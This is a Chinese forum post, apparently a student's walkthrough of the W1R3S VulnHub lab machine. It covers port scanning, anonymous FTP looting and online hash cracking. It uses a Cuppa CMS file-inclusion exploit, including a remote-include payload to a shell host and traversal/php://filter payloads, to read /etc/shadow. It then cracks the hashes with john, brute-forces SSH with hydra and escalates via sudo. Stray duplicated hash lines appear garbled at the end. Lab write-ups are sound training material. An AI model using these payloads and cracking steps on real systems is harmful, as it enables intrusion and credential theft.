找回密码
 立即注册
首页 业界区 安全 w1r3s打靶笔记(1)

w1r3s打靶笔记(1)

湄圳啸 2025-7-15 17:01:17
参考视频:https://www.bilibili.com/video/BV1mB4y1j7K6/?spm_id_from=333.1387.upload.video_card.click
nmap

得到靶机ip,172.16.30.6
-sn:只打印响应了主机嗅探的可用主机
(具体的计算机网络层知识暂时略过)
开始进行端口扫描

建立一个文件夹,用于存放扫描结果


-sT解决的是隐蔽性的问题(具体的计算机网络层后面复盘时详细研究)
-p-:第二个-是指定从1到65535的所有端口,如果不添加则是默认的1000个端口
在nmapscan目录下生成三个文件,里面有扫描的端口相关的详细信息,便于扫描结果的数据化,其中ports.nmap文件中的内容与nmap命令的回显结果一致
提取开放的端口(养成一个好习惯,未来端口数量太多时,可以直接把数据赋给一个变量,这样方便查询)
  1. grep open nmapscan/ports.nmap
  2. grep open nmapscan/ports.nmap | awk -F'/' '{print $1}'
  3. grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ','
  4. ports=$(grep open nmapscan/ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')
  5. echo $ports
  6. # 1、 grep open nmapscan/ports.nmap: 这个命令使用grep工具来在文件nmapscan/ports.nmap中查找包含单词"open"的行。grep是用于在文件中搜索指定模式的命令。
  7. # 2、 |: 这个符号是管道操作符,它将grep命令的输出作为awk命令的输入。
  8. # 3、 awk -F'/' '{print $1}': 这个命令使用awk工具来处理grep命令的输出。-F'/'参数指定了awk命令的字段分隔符为斜杠,'{print $1}'指示awk打印每行中以斜杠为分隔符的第一个字段。
  9. # 4、 paste -sd ',': 这个命令使用paste工具来将awk命令的输出合并为单行,并用逗号分隔。-s选项表示合并为单行,-d ','表示用逗号分隔。
  10. # 5、 ports=$(...): 最终,整个命令的输出被赋值给了名为ports的变量。
复制代码
开始准备详细信息的扫描

对nmap详细信息的扫描是分析的重点
一是看每一项扫出什么信息,
更主要的是要通过这些信息确定攻击面和渗透的优先级
1、TCP扫描(输入命令时应该在nmapscan目录的上一级)
  1. sudo nmap -sT -sV -sC -O -p$ports 192.168.6.129 -oA nmapscan/detail
  2. # sudo: 这个命令用于以超级用户权限来执行nmap命令。超级用户权限通常是必需的,因为nmap需要访问网络和进行一些底层操作,这通常需要特权权限。
  3. # nmap: 这是执行nmap扫描的命令。
  4. # -sT: scan TCP,这个选项指定使用TCP连接扫描。这意味着nmap将尝试建立一个完整的TCP连接到目标主机上的指定端口。
  5. # -sV: scan Version,这个选项指示nmap对目标主机上的开放端口进行版本探测,以确定运行在该端口上的服务的版本信息。
  6. # -sC: scan script,这个选项指示nmap对目标主机上的开放端口进行脚本扫描,使用默认的脚本进行一些常见漏洞探测和服务探测。
  7. # -O: 0s detection,这个选项指示nmap进行操作系统探测,尝试确定目标主机正在运行的操作系统类型。
  8. # -p$ports: 这个选项指定要扫描的端口号。在这里,$ports是之前通过管道操作符处理得到的端口号列表。这里的具体端口号将会被替换进去,以便nmap扫描这些端口。
  9. # 192.168.6.129: 这是目标主机的IP地址,nmap将对该主机进行扫描。
  10. # -oA nmapscan/detail: 这个选项指示nmap将扫描结果保存到文件中。-oA选项后面的参数指定了文件名的前缀,nmap将会生成三个文件:一个以.xml结尾的XML格式文件、一个以.gnmap结尾的grepable格式文件、以及一个以.nmap结尾的普通文本文件。这些文件将保存在nmapscan目录下,文件名的前缀为detail。
  11. # 这个扫描是最重要的扫描,对靶机的冲击较大,时间较长,是分析的重点
复制代码

1、线索一

21跑的是ftp服务,用的版本是vsftpd 2.0.8,d一般指的是驻留程序
可以实现匿名登录,并且有三个目录
总结:很可能存在信息泄露,一会要重点看
2、线索二
22是ssh服务,应用是openssh服务7.2p2,有ubuntu的一些信息,并列出了ssh的主机密钥
这里可以看到三条不同类型的主机密钥信息,每一条包含了密钥长度指纹算法类型
** 这几行输出说明了该****服务器在 SSH 层面上支持多种不同的加密算法(RSA、ECDSA、ED25519),每条记录都展示了对应密钥的长度与指纹  **
3、线索三

80端口跑的是apache的服务,2.4.18,再次提醒有可能是ubuntu系统
80端口页面的title也列了出来
在常见的网络扫描或信息收集工具(例如 Nmap)中,常会出现一项名为 “http-title” 的扫描结果。它通常指的是通过发送 HTTP 请求,获取目标服务器(Web 服务)返回的网页内容后,从 HTML 中提取的  标签所包含的文本。
4、线索四
3306说是mysql打了?,表示得到的信息可能有疑问
nmap通过mac地址等确定目标靶机的位置在vmvare中
有97%的可能是Linux,但是具体的内核版本有待判断,尤其是在提权工具中
总结
优先级排定:
21:很有可能有信息泄露,一些情况也能够拿到立足点,也有利用ftp应用程序漏洞实现利用的例子,但是根据目前的信息看来更有可能是信息泄露
22:22在渗透测试时,一般优先级排后,直接通过ssh拿到登录权限的意义不大,但不绝对
80:80等等其它页面有可能是兔子洞
从一般意义上,渗透优先级的分析,80是权重最重的,最有可能解决问题的
在渗透测试(或CTF竞赛)中,“兔子洞”(Rabbit Hole)通常指的是表面上看似有用或能挖到漏洞的线索、攻击路径,但实际上并不会带来实质性突破,反而会浪费大量时间和精力。这种情况常常会让测试人员陷入“越挖越深,却没有真正进展”的境地,就像《爱丽丝梦游仙境》里的爱丽丝掉进兔子洞里一样,迷失在各种奇怪线索当中。
3306:一般是mysql的默认端口,它可能有弱密码的访问权限,或者说配合渗透测试的其它环节完成利用
优先级:先看21和3306能给到我们什么信息,重点放在80,具体还要看后面具体每个环节渗透测试的情况
各个攻击向量的切换逻辑:
一般来说每个攻击向量比如说21或者80,20分钟到1小时如果不能取得进步,不能拿到进一步结果,就要考虑切换下一个攻击向量来看,这样有利于在多个攻击向量中选择容易的或者自己个人熟悉的,容易突破的(具体情况具体分析)
2、UDP扫描(TCP扫描时间长,扫描过程中同时执行这一步)

扫描的端口被标记为“open|filtered”,这可能意味着这些端口可能被防火墙或其他网络设备过滤掉了。
所以意义不大
3、默认脚本扫描

:
21,22:没有更多的信息
80端口:提示没有csrf的漏洞被发现,有一个可利用的漏洞是slowloris,但是是dos攻击,渗透测试中没什么用
没有找到基于dom的xss漏洞

http-enum(enum是枚举的意思)显示有WordPress

3306:没有新的发现
总结:udp和漏洞脚本扫描虽然这台没有有价值的发现,但是每次都值得尝试
当找不到攻击面的时候,有可能有ipv6的地址,由于这台靶机已经暴露了四个可能得攻击面,所以这里不再尝试
nmap扫描与分析总结

1、主要是完成nmap的四大扫描:
端口扫描:发现哪些端口是开放的,缩窄后面的扫描范围
详细信息扫描(最重的也是最重要的扫描)
UDP扫描
nmap的漏洞脚本扫描
必要时ipv6
最重要的攻击面分析,确定初步的渗透优先级和策略
渗透阶段

先看21端口,匿名登录ftp

提示用二进制模式去传输文件
对于渗透测试进入到ftp中,首先想到的就是用binary模式去切换到二进制模式,这是一个好习惯,否则下载的可执行文件很可能是坏的

ftp的交互命令行使用的命令可以用?显示出来
content目录下有三个文件都是可读的

prompt可以关掉交互式的确认(习惯),不然就会这样每次确认

要想一次下载多个文件,可以使用命令 mget,m即multi的意思
然后回到上一级目录,下载docs里的文件,同理下载所有文件,这样ftp就可以退出了
看一下获得的几个文件

这里的关键词是new,inc是公司的意思,new代表是新的服务器,新的就意味着建设中不完善,可以建立渗透测试信心的,要反向思考自己去建立新的ftp服务器的时候会出现哪些错误,配置不完善的时候会有哪些信息泄露和配置错误

可以用Kali中的hash-identifier来识别这种加密

显示可能是md5
然后尝试破解,先复制这串字符串,md5.hash,然后交给john破解

也可以在浏览器进行破解,搜索md5 cracker
不一定所有的网站都能破解,一个不行就换一个
hashes.com,carckstaion
找了好几个才破解,放个推荐链接
分享几个好用的在线破解md5的网站_md5在线解密-CSDN博客
复盘时也找了好久的网站,事实证明这个不错:somd5.com

这样john也破不出来,我们可以把这段得到的明文校验一下:通过哈希计算反推出原md5

说明明文的确是这个
这个一看就是base64

这里的-d是decode的意思

ascii generator可以显示出这种风格

不知道这些信息有没有用,权且注意下来(对信息敏感)
拿到这些数据应该怎么思考:
分他们的角色:
经理:可能会有一些特别的权限,比如说基于业务的高权限,也有可能拿着所有员工的数据,因为他的行政职务,他拿到的数据往往更重要更多
IT department :他可能有员工的各个系统的权限相关的一些信息
,比如说ftp的账户信息,邮箱的账户信息,它有可能有基于技术的高权限,有可能就是系统权限
接下来两个人的信息可能没那么重要
Gina是做库管的,有可能也有些数据
人力资源可能拿着全部人员的最详细信息
其他价值:这几个用户名,后面可能可以生成字典去爆破

奇怪的东西,reverse可以调整前后,上下网上搜索
搜的过程中也可以看其他人用哪些词描述这件事
搜索

点开第一个https://www.upsidedowntext.com/

得到这两句车轱辘话
这就是ftp中的状态,除了员工信息好像没什么有用的
3306(MySQL):
我们首先尝试连接mysql:
mysql -h  -u  -p
这里尝试:
mysql -h 172.16.30.7 -u root -p
root是因为这是一台linux机,所以一定有root用户,-p后面没有指定是想要尝试能否无密码登录

不允许连接,3306端口暂时放弃
80端口

这是阿帕奇的默认页面,这个页面一般来说是维持架设服务器时的原貌的,
个别有时候在不同的地方隐藏一些信息,尤其是一些小一点的网站和新建网站,
团队协作的时候可能在某处留了一些信息,
简单浏览一下,没有的话,从这个页面就很难获得攻击面
看源码,高度重视里面的注释
并没有什么特别有价值的信息
之前扫描过程中,有见到wordpress字样,尝试直接在ip后面接wordpress看看

跳转到了localhost,很奇怪
目录爆破:

使用medium大小的字典

如果是国内的用户习惯稍有差别,字典可以微调
扫描途中列出来的路径可以依次看一下
列出来的目录只能证明是阿帕奇乌班图下跑的web服务
adminstrator页面是可以打开的,所以我们进去看看

这里是一个安装页面,页面上方的title显示是一个CMS(内容管理系统)
那现在暴露出来的就只有两个(内容管理系统):
一个是wordpress,一个是cuppa cms
我们对wordpress更容易熟悉它的漏洞,也更容易找到资料,所以一般优先在wordpress上寻找突破点
现在遇到的问题是自动跳转到localhost,试一下修改hosts文件,看能不能访问到网站

试着把127.0.0.1改成靶机ip
给定一个验证:localhost.com
原因: kali里好像并不允许localhost指定非本机ip,localhost.com是一个控制变量的校验,就比如说如果我们不能输入localhost解析成靶机ip,但是localhoxt.com可以解析成靶机ip,就说明,是现代的kali环境不允许我们这样做了,这个域名也可以是其他字符串

看到localhost.com可以正常访问这个页面
试试localhost
发现不可以,跳转到了https,加上wordpress子目录也是不行的
看来我们现在得对kali进行深度的调整,或许接下来尝试用其他重定向的解决方法,我不知道这里为什么不用,咱们继续看吧,毕竟深度调整kali很麻烦,所以咱们把这一选项的优先级往后排
接下来去看看cuppa CMS有没有什么攻击面

显示给我们的是一个安装的界面,核对重要信息都是支持的,绿字的状态显示我们可以执行安装
这是很多CMS在安装的过程中,检测前置条件的时候通用的做法
渗透意识:你的操作会不会改变目标基金上的东西,现在我点next会执行安装吗,或者说没有其他办法的情况下,,他给了你这样的交互状态,对继续往下走的结果要有预期,哪怕我最后产生了一些不可控的结果,但是也是我之前想到的
比如说这里某个操作点了next,对系统对服务器环境做出了不可逆的修改
因为我还没有进去,导致服务器终止服务,或者被管理员发现
面对这种结果我应当有预期或者预案,有准备的

这里看到是一个安装的配置页,数据库和用户管理员设置

他把数据库拼错了,像这些信息都要敏锐的感受到,他写错一个词可能并不主要,综合判断知道这个词应该是正确拼写才对
在我们看来,这是一个独特的字符,比如说我现在渗透到这一步,我不知道后面对系统产生什么状态,下一步会是什么样。就比如说这里我们都填完了,敢不敢点下一步,如果我们点下一步,很可能对系统造成不可逆的操作或者是导致通知管理员的这种行为。这种情况下要知道这个错字是它独特的东西,我就可以网上迅速的搜到这个界面,或者是描述这件事的那些文章,这样就能快速定位到我想要的东西
遇到这些东西,要知道对于渗透测试有什么作用。我把这个词拿去搜,就可以搜到类似的场景或者类似的描述,这样一来,我们就可以知道,如果我们点了next,下一步会发生什么
真实环境下点下一步是手抖的,因为不知道这一步操作会不会让你直接暴露

要看能否安装成功之后,给我一个可以登录的后台
那有可能我就能获得基于他所用的技术栈中,执行反弹shell的机会
评估风险之后点next

它告诉我说配置文件OK,创建表格OK,对系统是产生了操作的,然后它说对管理员的用户创建是失败的,就是说即使安装了,可能也还是进不去,交互的按钮只有一个back。
没办法了,看一下源码,既没有cuppa cms的版本,也没有泄露出敏感信息,但总归这是一套内容管理系统
应该想到这套内容管理系统有没有bug
无论系统大小,只要是一套系统有一些人在用,就容易有一些公开漏洞
这时就searchsploit(早就想用了)
searchsploit:一个数据库搜索工具,搜索的内容是exploit db(kali这家公司的另外一个产品),搜索的是这个数据库的本地拷贝,它是不联网的

漏洞文件分析:
  1. Exploit Title   : Cuppa CMS File Inclusion
  2. Date            : 4 June 2013
  3. Exploit Author  : CWH Underground
  4. Site            : www.2600.in.th
  5. Vendor Homepage : http://www.cuppacms.com/
  6. Software Link   : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
  7. Version         : Beta
  8. Tested on       : Window and Linux
  9.   ,------------,--------,-----,---------,
  10.   | |||||||||   --------'     |          O .. CWH Underground Hacking Team ..
  11.   +---------------------------^----------|
  12.     \_,-------, _________________________|
  13.       / XXXXXX /|     /
  14.      / XXXXXX /  \   /
  15.     / XXXXXX /\______(
  16.    / XXXXXX /
  17.   / XXXXXX /
  18. (________(
  19.   ------'
  20. ####################################
  21. VULNERABILITY: PHP CODE INJECTION
  22. ####################################
  23. /alerts/alertConfigField.php (LINE: 22)
  24. LINE 22:
  25.         
  26. #####################################################
  27. DESCRIPTION
  28. #####################################################
  29. An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
  30. http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
  31. #####################################################
  32. EXPLOIT
  33. #####################################################
  34. http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
  35. http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
  36. Moreover, We could access Configuration.php source code via PHPStream
  37. For Example:
  38. http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
  39. Base64 Encode Output:
  40. PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
  41. Base64 Decode Output:
  42. Able to read sensitive information via File Inclusion (PHP Stream)
  43. ################################################################################################################
  44. Greetz      : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
  45. ################################################################################################################
复制代码
1、文件包含漏洞,Windows和Linux只要跑的是这个都有成功利用可能
产生漏洞的文件

CMS的alerts文件夹上有一个这个文件,22行产生文件包含漏洞,攻击者可能包含本地和远程的phpfile
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
这段描述表明:
如果能够看到php文件,那我们就能看到源码,如果非php文件,说不定我们能看到passwd或者说shadow

这个地方表示,既可以远程包含,也可以本地包含
我们首先要确认的应该是这个漏洞是否真的存在:
是否可以包含远程文件还需要进一步构造,所以先尝试本地包含
我们先试试能不能包含/etc/passwd
尝试访问:

漏洞文件这里假定系统装在cuppa文件上
这里我们可以猜测,之前扫描出的目录是administrator,那这里可能administrator被指定为根目录

有反应,但是页面和源码都没有显示出passwd的信息
(这种时候应该有这样的意识,既然已经有反应了,但是不显示,就要想到post传参)
有反应却没有读出来
原因:
1、urlconfig是作为一个参数给过来的,我们知道一般来说作为参数是用get的方式处理数据的,但是程序的处理逻辑未必是这样,需要进一步确定
在url中传递的参数,后台的处理程序如果不是get,那可能是post,这样能够解释这个页面现在的问题
2、TXT后面还给出有base64编码的问题
3、我们甚至可以把这个CMS的源码下载下来做代码审计(注意最好不要用官方的以免暴露行踪)
网上搜cuppa cms
在github找到源码,发现果然是post处理传参的
curl工具:curl 是一个非常强大的命令行工具,主要用于在命令行或脚本中与服务器进行数据传输。它支持大量协议,比如 HTTP、HTTPS、FTP、SFTP 等。
curl --data-urlencode 用于对数据进行 URL 编码 并通过 POST 提交,通常在处理中文、特殊字符或 URL 中带有特殊符号时特别有用,避免手动编码的麻烦。
curl --data-urlencode "key=value" https://example.com
这个命令记不住的话可以用 curl --help  all | grep url来查找



这里的curl命令师傅直接用的代码审计出来的路径,我没有审计于是直接用这个路径也可以成功包含
可以看到已经列出/etc/passwd的内容了
每一条用户数据的第二段都是x,证明密码是以哈希的方式存在shadow文件中的
我不太理解这句话,于是查了查在 /etc/passwd 文件中,每行的格式是:
  1. 用户名:密码占位符:用户ID:组ID:用户描述:主目录:默认shell
复制代码

所以回去找shadow文件能否读取

读取成功
示例(只 root 一行):
  1. root:$6$zvdM7bwB$hW9b...tAsf/:18637:0:99999:7:::
复制代码
1、$6$...:表示使用 SHA-512 加密的密码哈希
2、其他字段是密码过期策略等
那么下一步就是把这些哈希拿下来进行破解的渗透思路
  1. root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
  2. daemon:*:17379:0:99999:7:::
  3. bin:*:17379:0:99999:7:::
  4. sys:*:17379:0:99999:7:::
  5. sync:*:17379:0:99999:7:::
  6. games:*:17379:0:99999:7:::
  7. man:*:17379:0:99999:7:::
  8. lp:*:17379:0:99999:7:::
  9. mail:*:17379:0:99999:7:::
  10. news:*:17379:0:99999:7:::
  11. uucp:*:17379:0:99999:7:::
  12. proxy:*:17379:0:99999:7:::
  13. www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
  14. backup:*:17379:0:99999:7:::
  15. list:*:17379:0:99999:7:::
  16. irc:*:17379:0:99999:7:::
  17. gnats:*:17379:0:99999:7:::
  18. nobody:*:17379:0:99999:7:::
  19. systemd-timesync:*:17379:0:99999:7:::
  20. systemd-network:*:17379:0:99999:7:::
  21. systemd-resolve:*:17379:0:99999:7:::
  22. systemd-bus-proxy:*:17379:0:99999:7:::
  23. syslog:*:17379:0:99999:7:::
  24. _apt:*:17379:0:99999:7:::
  25. messagebus:*:17379:0:99999:7:::
  26. uuidd:*:17379:0:99999:7:::
  27. lightdm:*:17379:0:99999:7:::
  28. whoopsie:*:17379:0:99999:7:::
  29. avahi-autoipd:*:17379:0:99999:7:::
  30. avahi:*:17379:0:99999:7:::
  31. dnsmasq:*:17379:0:99999:7:::
  32. colord:*:17379:0:99999:7:::
  33. speech-dispatcher:!:17379:0:99999:7:::
  34. hplip:*:17379:0:99999:7:::
  35. kernoops:*:17379:0:99999:7:::
  36. pulse:*:17379:0:99999:7:::
  37. rtkit:*:17379:0:99999:7:::
  38. saned:*:17379:0:99999:7:::
  39. usbmux:*:17379:0:99999:7:::
  40. w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
  41. sshd:*:17554:0:99999:7:::
  42. ftp:*:17554:0:99999:7:::
  43. mysql:!:17554:0:99999:7:::
复制代码
把没有哈希值的用户删掉
vim编辑shadow.hash,可以视图模式下dd快捷键删掉一行
保留三个有哈希值的用户,然后给john破解(这里不能用rockyou.txt),不然破解不出来,MD5哈希无法解密,只能通过碰撞或字典攻击来找到对应的明文

在运维时,www-data一般是功能性账号,相比来说肯定是w1r3s的权限会更高
在john继续解root的时候,我们可以先登录w1r3s看看

27个sudo权限,还可以

sudo:以超级用户(或其他用户)权限执行命令
-i:相当于 --login,让你获得 完整的 root 登录环境
---------------------------------
按正常流程来:
uname -a:操作系统ubuntu,Linux内核4.13
sudo -l:结果返回all,那基本相当于提权成功了
sudo /bin/bash

此时root还没有爆出来,说明我们在等待破解时,不能光坐在那喝茶
彩蛋:22端口暴力破解
22端口一般暴力破解的可能性不大,优先级排后,
可以用john,也可以用hydra
忘记了的话可以去detail.nmap中看看之前的扫描信息

这里的字典需要简单构造一个字典
vim user.list
构造过程需要结合ftp的泄露信息,毕竟匿名ftp是很容易收集到的信息
一般来说用户名都是小写的
还有ftp中收集到的那几位朋友

IT Department算一个
但是web和manager应该很难有重要的用户
把IT的名字放进字典

hydra 的-L参数是用来指定user字典列表(list)的
-P:应该是payload的意思?
-t:指定线程
这样就会在用户列表中取一个用户,然后在这个指定字典中去碰撞密码
rockyou在打vulnhub和htb时效率很高

居然还没解压
sudo gunzip rockyou.txt.gz

破解成功
顺带一提才知道kali右上角绿色是显示资源状态的
总结:
nmap参数的选用
不要忽略UDP、ipv6
对四个端口的优先级进行排布之后
先看了匿名的ftp里获得了若干的文本文件
逐一查看该破解的破解
该做字符处理的做字符处理
在若干信息中突围选择取舍
80端口:
先试试目录爆破
看到wordpress,administrator
wordpress路径遇到了困难暂时放弃
administrator路径下看到了一个安装界面,发现是cuppa cms的安装界面
通过公开漏洞利用搜索,找到了一个利用
然后文件包含获得shadow,john破解
获得了w1r3s的凭据(computor),成功获得系统的立足点
反思:哪里是兔子洞
guayu6$TX3nztwWtmEYaSQI$xj7ofvrgPmkM4tQCY8hUV1P905H3yvz3F90KYq/tHUDcD8cCAhT92.vNIRz8Iyu9vLHBmXQY-BXFC.akO2XKb2/:20241:0:99999:7:::



root6$TkJiunDYYH/8ETYb$Rbor5mqOT0O3bOcsMWEzgO2QvN2ttdlkJcM-
GIo5LDi4oxwESo0VsLx3zL0x3eA3L5MTNhyaGl7EUCbDi-
vBgeb/:20242:0:99999:7:::
root6$TkJiunDYYH/8ETYb$Rbor5mqOT0O3bOcsMWEzgO2QvN2ttdlkJcM-GIo5LDi4oxwESo0VsLx3zL0x3eA3L5MTNhyaGl7EUCbDi-vBgeb/:20242:0:99999:7:::



root6$TkJiunDYYH/8ETYb$Rbor5mqOT0O3bOcsMWEzgO2QvN2ttdlkJcMGIo5LDi4oxwESo0VsLx3zL0x3eA3L5MTNhyaGl7EUCbDivBgeb/:20242:0:99999:7:::   

guayu6$TX3nztwWtmEYaSQI$xj7ofvrgPmkM4tQCY8hUV1P905H3yvz3F90KYq/tHUDcD8cCAhT92.vNIRz8Iyu9vLHBmXQY-
BXFC.akO2XKb2/:20241:0:99999:7:::
guayu6$TX3nztwWtmEYaSQI$xj7ofvrgPmkM4tQCY8hUV1P905H3yvz3F90KYq/tHUDcD8cCAhT92.vNIRz8Iyu9vLHBmXQYBXFC.akO2XKb2/:20241:0:99999:7:::



来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册